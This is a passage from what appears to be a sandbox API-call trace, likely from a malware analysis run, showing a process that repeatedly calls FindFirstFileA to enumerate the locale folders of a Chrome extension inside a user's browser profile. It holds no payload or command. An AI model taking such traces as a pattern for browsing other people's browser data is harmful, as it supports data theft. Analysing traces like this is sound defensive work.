ftLastAccessTime.dwLowDateTime=0xef330da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef330da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.998] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef330da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef330da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0191.003] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef356f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef356f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0191.008] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef356f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef356f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0191.013] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef356f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef356f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0191.019] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef37d060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef37d060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0191.027] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef37d060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef37d060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.079] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefd9ade0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefd9ade0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.084] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefd9ade0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefd9ade0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.089] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefd9ade0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefd9ade0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.095] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefdc0f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefdc0f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.100] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefdc0f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefdc0f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.104] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefdc0f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefdc0f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.111] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefde70a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefde70a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.115] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefde70a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefde70a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.121] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefde70a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefde70a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.133] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefe0d200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefe0d200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.150] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefe33360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefe33360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.155] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefe33360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefe33360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.161] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefe594c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefe594c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.166] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefe594c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefe594c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.180] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefe7f620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefe7f620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.187] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefe7f620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefe7f620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.192] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefea5780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefea5780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.197] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefea5780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefea5780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.203] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefecb8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefecb8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.208] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefecb8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefecb8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.213] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefecb8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefecb8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.219] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefecb8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefecb8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.224] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefef1a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefef1a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.231] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefef1a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefef1a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.236] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff17ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff17ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.243] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff17ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff17ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.248] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff17ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff17ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.253] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff3dd00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff3dd00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.258] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff3dd00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff3dd00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, 